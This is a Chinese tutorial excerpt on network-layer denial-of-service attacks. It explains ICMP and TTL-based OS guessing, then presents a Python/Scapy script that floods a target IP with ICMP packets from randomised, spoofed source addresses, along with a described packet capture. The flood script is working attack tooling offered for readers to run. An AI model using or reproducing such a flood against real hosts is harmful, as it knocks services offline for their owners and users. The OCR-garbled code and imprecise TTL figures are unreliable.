网络层DoS

 

 

网络层是OSI参考模型中的第三层,介于传输层和数据链路层之间,其目的 是实现两个终端系统之间数据的透明传送,具体功能包括:寻址和路由选择、连 接的建立、保持和终止等。位于网络层的协议包括ARP 、IP和ICMP等。下面就  ICMP为例,带领大家一起编写网络层拒绝服务攻击的脚本。

ICMP又称为控制报文协议,用于在IP主机、路由器之间传递控制消息。控制 消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。通常检 测网络连通情况使用的ping指令就属于ICMP ,如图9-16所示,当有数据包有返回 值时,代表网络连通,否则表示网络中存在故障或不可达。通过ping指令不仅可  以查看网络的连通情况,而且可以判定主机类型,根据返回信息进行故障分析

等。

通常根据目标主机返回的TTL值确定目标主机的系统信息。TTL是指生存

期,也就是所传输的数据在网络上经过的路由器的最大个数。这样可以有效防止 垃圾数据占据宝贵的网络带宽。不同的操作系统,返回的TTL值也不相同,UNIX 操作系统ICMP回显应答的TTL字段值为255位,Linux操作系统ICMP回显应答的  TTL字段值为64位,Windows操作系统ICMP回显应答的TTL字段值为32或128位。 如图9-16和图9-17所示,分别为Linux系统和Windows系统返回的信息。

网络层DoS_第1张图片

图9-16     目标Linux系统返回信息

网络层DoS_第2张图片

图9-17     目标Windows系统返回信息

 

 

 

 

通过上面简单的介绍,相信读者对ICMP已经有了一个大概的了解。同样,通 过ping操作也可以达到拒绝服务攻击的效果,例如“死亡之ping” ,该现象的发生是 由于早期的操作系统在接收到较大的数据包后,因无法及时处理而宕机,现在的  操作系统则不会出现该问题。但是,当控制多个僵尸主机一同向目标主机发送数  据时,同样也会出现“死亡之ping” ,使目标主机宕机。

下面将带领大家通过Python脚本实现工具的编写,此处依然使用RandIP() 产生随机的源IP地址:

U

#-*- coding:utf-8 -*-

import sys

from scapy .all import *

def start(argv) :

if len(sys .argv)<2:

print(sys .argv[0] +"  ")

sys .exit(0)

while(1) :

pds t = sys .argv[1]

send(IP(src=Rand IP(),dst=pds t)/ICMP())

if __name__ == '__main__ ' :

#定义异常

try:

start(sys .argv[1:])

except Keyboard Interrupt :

print("interrupted by user, killing all threads . . .")

使用Wireshark来捕获发送出去的数据包,如下所示:

网络层DoS_第3张图片

可以看出,发送的源IP地址随机变化, 目的IP地址固定不变,为

192.168.0.105 。该地址在收到请求后,由于发送的IP随机变化,虚拟的IP地址未 向目标主机发送过请求,故目标主机的通信流量中会存在ARP数据流。

 

 

你可能感兴趣的:(笔记)